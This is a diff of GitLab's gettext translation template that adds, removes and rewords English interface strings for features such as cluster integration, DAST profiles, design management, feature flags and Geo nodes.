msgid "Authorize external services to send alerts to GitLab"
@@ -3676,6 +3775,9 @@ msgstr ""
msgid "Automatic certificate management using Let's Encrypt"
msgstr ""
+msgid "Automatically close incident issues when the associated Prometheus alert resolves."
+msgstr ""
+
msgid "Automatically create merge requests for vulnerabilities that have fixes available."
msgstr ""
@@ -3802,7 +3904,7 @@ msgstr ""
msgid "Badges|This project has no badges"
msgstr ""
-msgid "Badges|You are going to delete this badge. Deleted badges <strong>cannot</strong> be restored."
+msgid "Badges|You are going to delete this badge. Deleted badges %{strongStart}cannot%{strongEnd} be restored."
msgstr ""
msgid "Badges|Your badges"
@@ -3916,6 +4018,9 @@ msgstr ""
msgid "BillingPlans|per user"
msgstr ""
+msgid "BillingPlan|Contact sales"
+msgstr ""
+
msgid "BillingPlan|Upgrade"
msgstr ""
@@ -3985,13 +4090,16 @@ msgstr ""
msgid "Boards|View scope"
msgstr ""
+msgid "Both project and dashboard_path are required"
+msgstr ""
+
msgid "Branch"
msgstr ""
msgid "Branch %{branchName} was not found in this project's repository."
msgstr ""
-msgid "Branch <strong>%{branch_name}</strong> was created. To set up auto deploy, choose a GitLab CI Yaml template and commit your changes. %{link_to_autodeploy_doc}"
+msgid "Branch %{branch_name} was created. To set up auto deploy, choose a GitLab CI Yaml template and commit your changes. %{link_to_autodeploy_doc}"
msgstr ""
msgid "Branch has changed"
@@ -4186,6 +4294,9 @@ msgstr ""
msgid "Burnup chart"
msgstr ""
+msgid "Burnup chart could not be generated due to too many events"
+msgstr ""
+
msgid "Business"
msgstr ""
@@ -4360,6 +4471,9 @@ msgstr ""
msgid "Cancel"
msgstr ""
+msgid "Cancel index deletion"
+msgstr ""
+
msgid "Cancel running"
msgstr ""
@@ -4393,10 +4507,10 @@ msgstr ""
msgid "Cannot import because issues are not available in this project."
msgstr ""
-msgid "Cannot make epic confidential if it contains not-confidential issues"
+msgid "Cannot make the epic confidential if it contains non-confidential child epics"
msgstr ""
-msgid "Cannot make epic confidential if it contains not-confidential sub-epics"
+msgid "Cannot make the epic confidential if it contains non-confidential issues"
msgstr ""
msgid "Cannot merge"
@@ -4417,7 +4531,7 @@ msgstr ""
msgid "Cannot refer to a group %{timebox_type} by an internal id!"
msgstr ""
-msgid "Cannot set confidential epic for not-confidential issue"
+msgid "Cannot set confidential epic for a non-confidential issue"
msgstr ""
msgid "Cannot show preview. For previews on sketch files, they must have the file format introduced by Sketch version 43 and above."
@@ -4603,9 +4717,6 @@ msgstr ""
msgid "Check the %{docs_link_start}documentation%{docs_link_end}."
msgstr ""
-msgid "Check your .gitlab-ci.yml"
-msgstr ""
-
msgid "Check your Docker images for known vulnerabilities."
msgstr ""
@@ -4831,7 +4942,7 @@ msgstr ""
msgid "Choose visibility level, enable/disable project features (issues, repository, wiki, snippets) and set permissions."
msgstr ""
-msgid "Choose what content you want to see on a group’s overview page"
+msgid "Choose what content you want to see on a group’s overview page."
msgstr ""
msgid "Choose which repositories you want to connect and run CI/CD pipelines."
@@ -4999,9 +5110,15 @@ msgstr ""
msgid "Cleanup policy for tags"
msgstr ""
+msgid "Cleanup policy maximum processing time (seconds)"
+msgstr ""
+
msgid "Clear"
msgstr ""
+msgid "Clear all repository checks"
+msgstr ""
+
msgid "Clear chart filters"
msgstr ""
@@ -5107,6 +5224,9 @@ msgstr ""
msgid "Closed %{epicTimeagoDate}"
msgstr ""
+msgid "Closed epics"
+msgstr ""
+
msgid "Closed issues"
msgstr ""
@@ -5140,19 +5260,25 @@ msgstr ""
msgid "Cluster type must be specificed for Stages::ClusterEndpointInserter"
msgstr ""
-msgid "ClusterIntegration| %{custom_domain_start}More information%{custom_domain_end}."
+msgid "ClusterAgent|This feature is only available for premium plans"
+msgstr ""
+
+msgid "ClusterAgent|User has insufficient permissions to create a token for this project"
msgstr ""
-msgid "ClusterIntegration| This will permanently delete the following resources: <ul> <li>All installed applications and related resources</li> <li>The <code>gitlab-managed-apps</code> namespace</li> <li>Any project namespaces</li> <li><code>clusterroles</code></li> <li><code>clusterrolebindings</code></li> </ul>"
+msgid "ClusterAgent|You have insufficient permissions to create a cluster agent for this project"
msgstr ""
-msgid "ClusterIntegration| can be used instead of a custom domain."
+msgid "ClusterAgent|You have insufficient permissions to delete this cluster agent"
msgstr ""
msgid "ClusterIntegration|%{appList} was successfully installed on your Kubernetes cluster"
msgstr ""
-msgid "ClusterIntegration|%{external_ip}.nip.io"
+msgid "ClusterIntegration|%{externalIp}.nip.io"
+msgstr ""
+
+msgid "ClusterIntegration|%{linkStart}More information%{linkEnd}"
msgstr ""
msgid "ClusterIntegration|%{title} uninstalled successfully."
@@ -5200,13 +5326,16 @@ msgstr ""
msgid "ClusterIntegration|All data will be deleted and cannot be restored."
msgstr ""
+msgid "ClusterIntegration|All installed applications and related resources"
+msgstr ""
+
msgid "ClusterIntegration|Allow GitLab to manage namespace and service accounts for this cluster."
msgstr ""
msgid "ClusterIntegration|Allow GitLab to manage namespace and service accounts for this cluster. %{startLink}More information%{endLink}"
msgstr ""
-msgid "ClusterIntegration|Alternatively"
+msgid "ClusterIntegration|Alternatively, "
msgstr ""
msgid "ClusterIntegration|Amazon EKS"
@@ -5224,6 +5353,9 @@ msgstr ""
msgid "ClusterIntegration|An error occurred while trying to fetch zone machine types: %{error}"
msgstr ""
+msgid "ClusterIntegration|Any project namespaces"
+msgstr ""
+
msgid "ClusterIntegration|Any running pipelines will be canceled."
msgstr ""
@@ -5263,15 +5395,12 @@ msgstr ""
msgid "ClusterIntegration|Choose the worker node %{startLink}instance type %{externalLinkIcon} %{endLink}."
msgstr ""
-msgid "ClusterIntegration|Choose which applications to install on your Kubernetes cluster. Helm Tiller is required to install any of the following applications."
+msgid "ClusterIntegration|Choose which applications to install on your Kubernetes cluster."
msgstr ""
msgid "ClusterIntegration|Choose which of your environments will use this cluster."
msgstr ""
-msgid "ClusterIntegration|Choose which of your environments will use this cluster. %{environment_scope_start}More information%{environment_scope_end}"
-msgstr ""
-
msgid "ClusterIntegration|Clear cluster cache"
msgstr ""
@@ -5296,6 +5425,9 @@ msgstr ""
msgid "ClusterIntegration|Clusters are utilized by selecting the nearest ancestor with a matching environment scope. For example, project clusters will override group clusters. %{linkStart}More information%{linkEnd}"
msgstr ""
+msgid "ClusterIntegration|Connect existing cluster"
+msgstr ""
+
msgid "ClusterIntegration|Copy API URL"
msgstr ""
@@ -5479,9 +5611,6 @@ msgstr ""
msgid "ClusterIntegration|Helm release failed to install"
msgstr ""
-msgid "ClusterIntegration|Helm streamlines installing and managing Kubernetes applications. Tiller runs inside of your Kubernetes Cluster, and manages releases of your charts."
-msgstr ""
-
msgid "ClusterIntegration|If you are setting up multiple clusters and are using Auto DevOps, %{help_link_start}read this first%{help_link_end}."
msgstr ""
@@ -5677,7 +5806,7 @@ msgstr ""
msgid "ClusterIntegration|Number of nodes must be a numerical value."
msgstr ""
-msgid "ClusterIntegration|Please enter access information for your Kubernetes cluster. If you need help, you can read our %{link_to_help_page} on Kubernetes"
+msgid "ClusterIntegration|Please enter access information for your Kubernetes cluster. If you need help, you can read our %{linkStart}documentation%{linkEnd} on Kubernetes"
msgstr ""
msgid "ClusterIntegration|Please make sure that your Google account meets the following requirements:"
@@ -5896,12 +6025,15 @@ msgstr ""
msgid "ClusterIntegration|Something went wrong while updating Knative domain name."
msgstr ""
-msgid "ClusterIntegration|Specifying a domain will allow you to use Auto Review Apps and Auto Deploy stages for %{auto_devops_start}Auto DevOps%{auto_devops_end}. The domain should have a wildcard DNS configured matching the domain."
+msgid "ClusterIntegration|Specifying a domain will allow you to use Auto Review Apps and Auto Deploy stages for %{linkStart}Auto DevOps.%{linkEnd} The domain should have a wildcard DNS configured matching the domain. "
msgstr ""
msgid "ClusterIntegration|Subnets"
msgstr ""
+msgid "ClusterIntegration|The %{gitlabNamespace} namespace"
+msgstr ""
+
msgid "ClusterIntegration|The Amazon Resource Name (ARN) associated with your role. If you do not have a provision role, first create one on %{startAwsLink}Amazon Web Services %{externalLinkIcon}%{endLink} using the above account and external IDs. %{startMoreInfoLink}More information%{endLink}"
msgstr ""
@@ -5941,15 +6073,27 @@ msgstr ""
msgid "ClusterIntegration|This option will allow you to install applications on RBAC clusters."
msgstr ""
+msgid "ClusterIntegration|This project does not have billing enabled. To create a cluster, %{linkToBillingStart}enable billing%{linkToBillingEnd} and try again."
+msgstr ""
+
+msgid "ClusterIntegration|This will permanently delete the following resources:"
+msgstr ""
+
msgid "ClusterIntegration|To access your application after deployment, point a wildcard DNS to the Knative Endpoint."
msgstr ""
+msgid "ClusterIntegration|To create a cluster, first create a project on %{docsLinkStart}Google Cloud Platform%{docsLinkEnd}."
+msgstr ""
+
msgid "ClusterIntegration|To remove your integration and resources, type %{clusterName} to confirm:"
msgstr ""
msgid "ClusterIntegration|To remove your integration, type %{clusterName} to confirm:"
msgstr ""
+msgid "ClusterIntegration|To use a new project, first create one on %{docsLinkStart}Google Cloud Platform%{docsLinkEnd}."
+msgstr ""
+
msgid "ClusterIntegration|Uninstall %{appTitle}"
msgstr ""
@@ -5974,6 +6118,9 @@ msgstr ""
msgid "ClusterIntegration|We could not verify that one of your projects on GCP has billing enabled. Please try again."
msgstr ""
+msgid "ClusterIntegration|We were unable to fetch any projects. Ensure that you have a project on %{docsLinkStart}Google Cloud Platform%{docsLinkEnd}."
+msgstr ""
+
msgid "ClusterIntegration|With a Kubernetes cluster associated to this project, you can use review apps, deploy your applications, run your pipelines, and much more in an easy way."
msgstr ""
@@ -5989,9 +6136,6 @@ msgstr ""
msgid "ClusterIntegration|You are about to update %{appTitle} on your cluster."
msgstr ""
-msgid "ClusterIntegration|You must first install Helm Tiller before installing the applications below"
-msgstr ""
-
msgid "ClusterIntegration|You must grant access to your organization’s AWS resources in order to create a new EKS cluster. To grant access, create a provision role using the account and external ID below and provide us the ARN."
msgstr ""
@@ -6022,7 +6166,7 @@ msgstr ""
msgid "ClusterIntegration|access to Google Kubernetes Engine"
msgstr ""
-msgid "ClusterIntegration|documentation"
+msgid "ClusterIntegration|can be used instead of a custom domain. "
msgstr ""
msgid "ClusterIntegration|installed via %{linkStart}Cloud Run%{linkEnd}"
@@ -6199,6 +6343,12 @@ msgstr ""
msgid "Comment/Reply (quoting selected text)"
msgstr ""
+msgid "Commenting on files that replace or are replaced by symbolic links is currently not supported."
+msgstr ""
+
+msgid "Commenting on symbolic links that replace or are replaced by files is currently not supported."
+msgstr ""
+
msgid "Comments"
msgstr ""
@@ -6400,7 +6550,7 @@ msgstr ""
msgid "Configure Tracing"
msgstr ""
-msgid "Configure a <code>.gitlab-webide.yml</code> file in the <code>.gitlab</code> directory to start using the Web Terminal. %{helpStart}Learn more.%{helpEnd}"
+msgid "Configure a %{codeStart}.gitlab-webide.yml%{codeEnd} file in the %{codeStart}.gitlab%{codeEnd} directory to start using the Web Terminal. %{helpStart}Learn more.%{helpEnd}"
msgstr ""
msgid "Configure automatic git checks and housekeeping on repositories."
@@ -6856,9 +7006,6 @@ msgstr ""
msgid "Copy"
msgstr ""
-msgid "Copy %{field}"
-msgstr ""
-
msgid "Copy %{http_label} clone URL"
msgstr ""
@@ -6943,6 +7090,9 @@ msgstr ""
msgid "Copy the code below to implement tracking in your application:"
msgstr ""
+msgid "Copy to clipboard"
+msgstr ""
+
msgid "Copy token"
msgstr ""
@@ -6955,6 +7105,9 @@ msgstr ""
msgid "Could not add admins as members"
msgstr ""
+msgid "Could not archive %{design}. Please try again."
+msgstr ""
+
msgid "Could not authorize chat nickname. Try again!"
msgstr ""
@@ -6979,15 +7132,21 @@ msgstr ""
msgid "Could not create group"
msgstr ""
+msgid "Could not create issue"
+msgstr ""
+
msgid "Could not create project"
msgstr ""
-msgid "Could not delete %{design}. Please try again."
+msgid "Could not create wiki page"
msgstr ""
msgid "Could not delete chat nickname %{chat_name}."
msgstr ""
+msgid "Could not delete wiki page"
+msgstr ""
+
msgid "Could not find design."
msgstr ""
@@ -7018,6 +7177,9 @@ msgstr ""
msgid "Could not save prometheus manual configuration"
msgstr ""
+msgid "Could not udpdate wiki page"
+msgstr ""
+
msgid "Could not update the LDAP settings"
msgstr ""
@@ -7033,6 +7195,12 @@ msgstr ""
msgid "Coverage Fuzzing"
msgstr ""
+msgid "Coverage value for this pipeline was calculated by the coverage value of %d job."
+msgid_plural "Coverage value for this pipeline was calculated by averaging the resulting coverage values of %d jobs."
+msgstr[0] ""
+msgstr[1] ""
+msgstr[2] ""
+
msgid "Create"
msgstr ""
@@ -7123,6 +7291,9 @@ msgstr ""
msgid "Create file"
msgstr ""
+msgid "Create from"
+msgstr ""
+
msgid "Create group"
msgstr ""
@@ -7159,6 +7330,9 @@ msgstr ""
msgid "Create new branch"
msgstr ""
+msgid "Create new confidential %{issuableType}"
+msgstr ""
+
msgid "Create new directory"
msgstr ""
@@ -7183,6 +7357,9 @@ msgstr ""
msgid "Create project label"
msgstr ""
+msgid "Create release"
+msgstr ""
+
msgid "Create requirement"
msgstr ""
@@ -7354,6 +7531,9 @@ msgstr ""
msgid "Custom hostname (for private commit emails)"
msgstr ""
+msgid "Custom metrics"
+msgstr ""
+
msgid "Custom notification events"
msgstr ""
@@ -7450,6 +7630,15 @@ msgstr ""
msgid "Customize your pipeline configuration."
msgstr ""
+msgid "CustomizeHomepageBanner|Do you want to customize this page?"
+msgstr ""
+
+msgid "CustomizeHomepageBanner|Go to preferences"
+msgstr ""
+
+msgid "CustomizeHomepageBanner|This page shows a list of your projects by default but it can be changed to show projects' activity, groups, your to-do list, assigned issues, assigned merge requests, and more. You can change this under \"Homepage content\" in your preferences"
+msgstr ""
+
msgid "Cycle Time"
msgstr ""
@@ -7615,6 +7804,9 @@ msgstr ""
msgid "DAG visualization requires at least 3 dependent jobs."
msgstr ""
+msgid "DAST Profiles"
+msgstr ""
+
msgid "DNS"
msgstr ""
@@ -7645,25 +7837,55 @@ msgstr ""
msgid "Dashboard|Unable to add %{invalidProjects}. This dashboard is available for public projects, and private projects in groups with a Silver plan."
msgstr ""
+msgid "DastProfiles|Are you sure you want to delete this profile?"
+msgstr ""
+
+msgid "DastProfiles|Could not create the scanner profile. Please try again."
+msgstr ""
+
msgid "DastProfiles|Could not create the site profile. Please try again."
msgstr ""
+msgid "DastProfiles|Could not delete scanner profile. Please refresh the page, or try again later."
+msgstr ""
+
+msgid "DastProfiles|Could not delete scanner profiles:"
+msgstr ""
+
+msgid "DastProfiles|Could not delete site profile. Please refresh the page, or try again later."
+msgstr ""
+
+msgid "DastProfiles|Could not delete site profiles:"
+msgstr ""
+
+msgid "DastProfiles|Could not fetch scanner profiles. Please refresh the page, or try again later."
+msgstr ""
+
+msgid "DastProfiles|Could not fetch site profiles. Please refresh the page, or try again later."
+msgstr ""
+
msgid "DastProfiles|Could not update the site profile. Please try again."
msgstr ""
+msgid "DastProfiles|Do you want to discard this scanner profile?"
+msgstr ""
+
msgid "DastProfiles|Do you want to discard this site profile?"
msgstr ""
msgid "DastProfiles|Do you want to discard your changes?"
msgstr ""
+msgid "DastProfiles|Download validation text file"
+msgstr ""
+
msgid "DastProfiles|Edit feature will come soon. Please create a new profile if changes needed"
msgstr ""
msgid "DastProfiles|Edit site profile"
msgstr ""
-msgid "DastProfiles|Error fetching the profiles list. Please check your network connection and try again."
+msgid "DastProfiles|Error Details"
msgstr ""
msgid "DastProfiles|Manage Profiles"
@@ -7672,7 +7894,16 @@ msgstr ""
msgid "DastProfiles|Manage profiles"
msgstr ""
-msgid "DastProfiles|New Site Profile"
+msgid "DastProfiles|Minimum = 0 (no timeout enabled), Maximum = 2880 minutes"
+msgstr ""
+
+msgid "DastProfiles|Minimum = 1 second, Maximum = 3600 seconds"
+msgstr ""
+
+msgid "DastProfiles|New Profile"
+msgstr ""
+
+msgid "DastProfiles|New scanner profile"
msgstr ""
msgid "DastProfiles|New site profile"
@@ -7684,6 +7915,9 @@ msgstr ""
msgid "DastProfiles|Please enter a valid URL format, ex: http://www.example.com/home"
msgstr ""
+msgid "DastProfiles|Please enter a valid timeout value"
+msgstr ""
+
msgid "DastProfiles|Profile name"
msgstr ""
@@ -7693,12 +7927,69 @@ msgstr ""
msgid "DastProfiles|Save profile"
msgstr ""
+msgid "DastProfiles|Scanner Profile"
+msgstr ""
+
+msgid "DastProfiles|Scanner Profiles"
+msgstr ""
+
+msgid "DastProfiles|Site Profile"
+msgstr ""
+
msgid "DastProfiles|Site Profiles"
msgstr ""
+msgid "DastProfiles|Site is not validated yet, please follow the steps."
+msgstr ""
+
+msgid "DastProfiles|Site must be validated to run an active scan."
+msgstr ""
+
+msgid "DastProfiles|Spider timeout"
+msgstr ""
+
+msgid "DastProfiles|Step 1 - Choose site validation method"
+msgstr ""
+
+msgid "DastProfiles|Step 2 - Add following text to the target site"
+msgstr ""
+
+msgid "DastProfiles|Step 3 - Confirm text file location and validate"
+msgstr ""
+
msgid "DastProfiles|Target URL"
msgstr ""
+msgid "DastProfiles|Target timeout"
+msgstr ""
+
+msgid "DastProfiles|Text file validation"
+msgstr ""
+
+msgid "DastProfiles|The maximum number of seconds allowed for the site under test to respond to a request."
+msgstr ""
+
+msgid "DastProfiles|The maximum number of seconds allowed for the spider to traverse the site."
+msgstr ""
+
+msgid "DastProfiles|Validate"
+msgstr ""
+
+msgid "DastProfiles|Validate target site"
+msgstr ""
+
+msgid "DastProfiles|Validating..."
+msgstr ""
+
+msgid "DastProfiles|Validation failed, please make sure that you follow the steps above with the choosen method."
+msgstr ""
+
+msgid "DastProfiles|Validation must be turned off to change the target URL"
+msgstr ""
+
+msgid "DastProfiles|Validation succeeded. Both active and passive scans can be run against the target site."
+msgstr ""
+
msgid "Data is still calculating..."
msgstr ""
@@ -7771,7 +8062,7 @@ msgstr ""
msgid "Default classification label"
msgstr ""
-msgid "Default deletion adjourned period"
+msgid "Default deletion delay"
msgstr ""
msgid "Default description template for issues"
@@ -7849,10 +8140,10 @@ msgstr ""
msgid "Delete Comment"
msgstr ""
-msgid "Delete Package"
+msgid "Delete Snippet"
msgstr ""
-msgid "Delete Snippet"
+msgid "Delete account"
msgstr ""
msgid "Delete artifacts"
@@ -7909,6 +8200,9 @@ msgstr ""
msgid "Delete variable"
msgstr ""
+msgid "DeleteProject|Delete %{name}"
+msgstr ""
+
msgid "DeleteProject|Failed to remove project repository. Please try again or contact administrator."
msgstr ""
@@ -7930,15 +8224,24 @@ msgstr ""
msgid "Deleted"
msgstr ""
+msgid "Deleted Projects"
+msgstr ""
+
msgid "Deleted chat nickname: %{chat_name}!"
msgstr ""
-msgid "Deleted in this version"
+msgid "Deleted projects"
+msgstr ""
+
+msgid "Deleted projects cannot be restored!"
msgstr ""
msgid "Deleting"
msgstr ""
+msgid "Deleting a project places it into a read-only state until %{date}, at which point the project will be permanently deleted. Are you ABSOLUTELY sure?"
+msgstr ""
+
msgid "Deleting the license failed."
msgstr ""
@@ -7948,6 +8251,9 @@ msgstr ""
msgid "Deleting the license failed. You are not permitted to perform this action."
msgstr ""
+msgid "Deleting the project will delete its repository and all related resources including issues, merge requests etc."
+msgstr ""
+
msgid "Deletion pending. This project will be removed on %{date}. Repository and other project resources are read-only."
msgstr ""
@@ -7975,6 +8281,12 @@ msgstr[0] ""
msgstr[1] ""
msgstr[2] ""
+msgid "Dependencies|%d more"
+msgid_plural "Dependencies|%d more"
+msgstr[0] ""
+msgstr[1] ""
+msgstr[2] ""
+
msgid "Dependencies|%d vulnerability detected"
msgid_plural "Dependencies|%d vulnerabilities detected"
msgstr[0] ""
@@ -7984,6 +8296,9 @@ msgstr[2] ""
msgid "Dependencies|%{remainingLicensesCount} more"
msgstr ""
+msgid "Dependencies|(top level)"
+msgstr ""
+
msgid "Dependencies|All"
msgstr ""
@@ -7996,6 +8311,9 @@ msgstr ""
msgid "Dependencies|Component name"
msgstr ""
+msgid "Dependencies|Dependency path"
+msgstr ""
+
msgid "Dependencies|Export as JSON"
msgstr ""
@@ -8014,6 +8332,9 @@ msgstr ""
msgid "Dependencies|The %{codeStartTag}dependency_scanning%{codeEndTag} job has failed and cannot generate the list. Please ensure the job is running properly and run the pipeline again."
msgstr ""
+msgid "Dependencies|There may be multiple paths"
+msgstr ""
+
msgid "Dependencies|Toggle vulnerability list"
msgstr ""
@@ -8053,8 +8374,8 @@ msgstr[0] ""
msgstr[1] ""
msgstr[2] ""
-msgid "Depends on <strong>%d closed</strong> merge request."
-msgid_plural "Depends on <strong>%d closed</strong> merge requests."
+msgid "Depends on %{strongStart}%{closedCount} closed%{strongEnd} merge request."
+msgid_plural "Depends on %{strongStart}%{closedCount} closed%{strongEnd} merge requests."
msgstr[0] ""
msgstr[1] ""
msgstr[2] ""
@@ -8101,7 +8422,7 @@ msgstr ""
msgid "DeployFreeze|No deploy freezes exist for this project. To add one, click %{strongStart}Add deploy freeze%{strongEnd}"
msgstr ""
-msgid "DeployFreeze|Specify times when deployments are not allowed for an environment. The <code>gitlab-ci.yml</code> file must be updated to make deployment jobs aware of the %{freeze_period_link_start}freeze period%{freeze_period_link_end}."
+msgid "DeployFreeze|Specify times when deployments are not allowed for an environment. The %{filename} file must be updated to make deployment jobs aware of the %{freeze_period_link_start}freeze period%{freeze_period_link_end}."
msgstr ""
msgid "DeployFreeze|Time zone"
@@ -8335,13 +8656,22 @@ msgstr ""
msgid "DesignManagement|Adding a design with the same filename replaces the file in a new version."
msgstr ""
-msgid "DesignManagement|Are you sure you want to cancel changes to this comment?"
+msgid "DesignManagement|Archive designs"
msgstr ""
-msgid "DesignManagement|Are you sure you want to cancel creating this comment?"
+msgid "DesignManagement|Archive selected"
msgstr ""
-msgid "DesignManagement|Are you sure you want to delete the selected designs?"
+msgid "DesignManagement|Archived designs will still be available in previous versions of the design collection."
+msgstr ""
+
+msgid "DesignManagement|Are you sure you want to archive the selected designs?"
+msgstr ""
+
+msgid "DesignManagement|Are you sure you want to cancel changes to this comment?"
+msgstr ""
+
+msgid "DesignManagement|Are you sure you want to cancel creating this comment?"
msgstr ""
msgid "DesignManagement|Cancel changes"
@@ -8374,15 +8704,6 @@ msgstr ""
msgid "DesignManagement|Could not update note. Please try again."
msgstr ""
-msgid "DesignManagement|Delete"
-msgstr ""
-
-msgid "DesignManagement|Delete designs confirmation"
-msgstr ""
-
-msgid "DesignManagement|Delete selected"
-msgstr ""
-
msgid "DesignManagement|Deselect all"
msgstr ""
@@ -8464,7 +8785,10 @@ msgstr ""
msgid "Detect host keys"
msgstr ""
-msgid "DevOps Score"
+msgid "DevOps"
+msgstr ""
+
+msgid "DevOps Report"
msgstr ""
msgid "Diff content limits"
@@ -8473,6 +8797,9 @@ msgstr ""
msgid "Diff limits"
msgstr ""
+msgid "Diff view settings"
+msgstr ""
+
msgid "Difference between start date and now"
msgstr ""
@@ -8485,7 +8812,10 @@ msgstr ""
msgid "Diffs|No file name available"
msgstr ""
-msgid "Diffs|Show unchanged lines"
+msgid "Diffs|Show %{unfoldCount} lines"
+msgstr ""
+
+msgid "Diffs|Show all unchanged lines"
msgstr ""
msgid "Diffs|Something went wrong while fetching diff lines."
@@ -8590,9 +8920,6 @@ msgstr ""
msgid "Discuss a specific suggestion or question."
msgstr ""
-msgid "Discussion"
-msgstr ""
-
msgid "Discussion to reply to cannot be found"
msgstr ""
@@ -8608,7 +8935,7 @@ msgstr[0] ""
msgstr[1] ""
msgstr[2] ""
-msgid "Dismiss DevOps Score introduction"
+msgid "Dismiss DevOps Report introduction"
msgstr ""
msgid "Dismiss Merge Request promotion"
@@ -8860,9 +9187,6 @@ msgstr ""
msgid "Edit comment"
msgstr ""
-msgid "Edit dashboard"
-msgstr ""
-
msgid "Edit description"
msgstr ""
@@ -9151,9 +9475,6 @@ msgstr ""
msgid "Enable usage ping"
msgstr ""
-msgid "Enable usage ping to get an overview of how you are using GitLab from a feature perspective."
-msgstr ""
-
msgid "Enable/disable your service desk. %{link_start}Learn more about service desk%{link_end}."
msgstr ""
@@ -9322,6 +9643,9 @@ msgstr ""
msgid "Environments in %{name}"
msgstr ""
+msgid "EnvironmentsAlert|%{severity} • %{title} %{text}. %{linkStart}View Details%{linkEnd} · %{startedAt} "
+msgstr ""
+
msgid "EnvironmentsDashboard|Add a project to the dashboard"
msgstr ""
@@ -9346,7 +9670,7 @@ msgstr ""
msgid "EnvironmentsDashboard|The environments dashboard provides a summary of each project's environments' status, including pipeline and alert statuses."
msgstr ""
-msgid "EnvironmentsDashboard|This dashboard displays a maximum of 7 projects and 3 environments per project. %{readMoreLink}"
+msgid "EnvironmentsDashboard|This dashboard displays a maximum of 7 projects and 3 environments per project, and is linked to the Operations Dashboard. When you add or remove a project from one dashboard, GitLab adds or removes the project from the other. %{readMoreLink}"
msgstr ""
msgid "Environments|An error occurred while canceling the auto stop, please try again"
@@ -9625,6 +9949,9 @@ msgstr ""
msgid "Epics|To schedule your epic's %{epicDateType} date based on milestones, assign a milestone with a %{epicDateType} date to any issue in the epic."
msgstr ""
+msgid "Epics|Unable to perform this action"
+msgstr ""
+
msgid "Epics|Unable to save epic. Please try again"
msgstr ""
@@ -9952,7 +10279,7 @@ msgstr ""
msgid "Exactly one of %{attributes} is required"
msgstr ""
-msgid "Example: <code>192.168.0.0/24</code>. %{read_more_link}."
+msgid "Example: %{ip_address}. %{read_more_link}."
msgstr ""
msgid "Example: @sub\\.company\\.com$"
@@ -9973,6 +10300,9 @@ msgstr ""
msgid "Excluding merge commits. Limited to 6,000 commits."
msgstr ""
+msgid "Existing branch name, tag, or commit SHA"
+msgstr ""
+
msgid "Existing members and groups"
msgstr ""
@@ -9982,9 +10312,6 @@ msgstr ""
msgid "Existing projects will be able to use expiration policies. Avoid enabling this if an external Container Registry is being used, as there is a performance risk if many images exist on one project."
msgstr ""
-msgid "Existing shares"
-msgstr ""
-
msgid "Existing sign in methods may be removed"
msgstr ""
@@ -9997,9 +10324,6 @@ msgstr ""
msgid "Expand approvers"
msgstr ""
-msgid "Expand down"
-msgstr ""
-
msgid "Expand dropdown"
msgstr ""
@@ -10009,9 +10333,6 @@ msgstr ""
msgid "Expand sidebar"
msgstr ""
-msgid "Expand up"
-msgstr ""
-
msgid "Expected documents: %{expected_documents}"
msgstr ""
@@ -10024,9 +10345,6 @@ msgstr ""
msgid "Expiration date"
msgstr ""
-msgid "Expiration not enforced"
-msgstr ""
-
msgid "Expired"
msgstr ""
@@ -10459,12 +10777,18 @@ msgstr ""
msgid "FeatureFlags|Flag becomes read only soon"
msgstr ""
+msgid "FeatureFlags|Flag is read-only"
+msgstr ""
+
msgid "FeatureFlags|Get started with feature flags"
msgstr ""
msgid "FeatureFlags|GitLab is moving to a new way of managing feature flags, and in 13.4, this feature flag will become read-only. Please create a new feature flag."
msgstr ""
+msgid "FeatureFlags|GitLab is moving to a new way of managing feature flags. This feature flag is read-only, and it will be removed in 14.0. Please create a new feature flag."
+msgstr ""
+
msgid "FeatureFlags|ID"
msgstr ""
@@ -10549,6 +10873,9 @@ msgstr ""
msgid "FeatureFlags|There was an error retrieving user lists"
msgstr ""
+msgid "FeatureFlags|To prevent accidental actions we ask you to confirm your intention. Please type %{projectName} to proceed or close this modal to cancel."
+msgstr ""
+
msgid "FeatureFlags|Try again in a few moments or contact your support team."
msgstr ""
@@ -10558,9 +10885,6 @@ msgstr ""
msgid "FeatureFlags|User List"
msgstr ""
-msgid "FeatureFlag|Delete strategy"
-msgstr ""
-
msgid "FeatureFlag|List"
msgstr ""
@@ -10600,6 +10924,9 @@ msgstr ""
msgid "File"
msgstr ""
+msgid "File %{current} of %{total}"
+msgstr ""
+
msgid "File Hooks"
msgstr ""
@@ -10825,6 +11152,9 @@ msgstr ""
msgid "Footer message"
msgstr ""
+msgid "For help setting up the Service Desk for your instance, please contact an administrator."
+msgstr ""
+
msgid "For internal projects, any logged in user can view pipelines and access job details (output logs and artifacts)"
msgstr ""
@@ -10996,30 +11326,15 @@ msgstr ""
msgid "GeoNodeSyncStatus|Node is slow, overloaded, or it just recovered after an outage."
msgstr ""
-msgid "GeoNodes|Attachments"
-msgstr ""
-
-msgid "GeoNodes|Checksummed"
-msgstr ""
-
msgid "GeoNodes|Consult Geo troubleshooting information"
msgstr ""
-msgid "GeoNodes|Container repositories"
-msgstr ""
-
msgid "GeoNodes|Data replication lag"
msgstr ""
-msgid "GeoNodes|Design repositories"
-msgstr ""
-
msgid "GeoNodes|Does not match the primary storage configuration"
msgstr ""
-msgid "GeoNodes|Failed"
-msgstr ""
-
msgid "GeoNodes|Full"
msgstr ""
@@ -11035,12 +11350,6 @@ msgstr ""
msgid "GeoNodes|Internal URL"
msgstr ""
-msgid "GeoNodes|Job artifacts"
-msgstr ""
-
-msgid "GeoNodes|LFS objects"
-msgstr ""
-
msgid "GeoNodes|Last event ID processed by cursor"
msgstr ""
@@ -11068,12 +11377,6 @@ msgstr ""
msgid "GeoNodes|Node's status was updated %{timeAgo}."
msgstr ""
-msgid "GeoNodes|Not checksummed"
-msgstr ""
-
-msgid "GeoNodes|Package files"
-msgstr ""
-
msgid "GeoNodes|Pausing replication stops the sync process. Are you sure?"
msgstr ""
@@ -11095,15 +11398,6 @@ msgstr ""
msgid "GeoNodes|Replication status"
msgstr ""
-msgid "GeoNodes|Repositories"
-msgstr ""
-
-msgid "GeoNodes|Repository checksum progress"
-msgstr ""
-
-msgid "GeoNodes|Repository verification progress"
-msgstr ""
-
msgid "GeoNodes|Selective (%{syncLabel})"
msgstr ""
@@ -11131,27 +11425,12 @@ msgstr ""
msgid "GeoNodes|Unused slots"
msgstr ""
-msgid "GeoNodes|Unverified"
-msgstr ""
-
msgid "GeoNodes|Updated %{timeAgo}"
msgstr ""
msgid "GeoNodes|Used slots"
msgstr ""
-msgid "GeoNodes|Verified"
-msgstr ""
-
-msgid "GeoNodes|Wiki checksum progress"
-msgstr ""
-
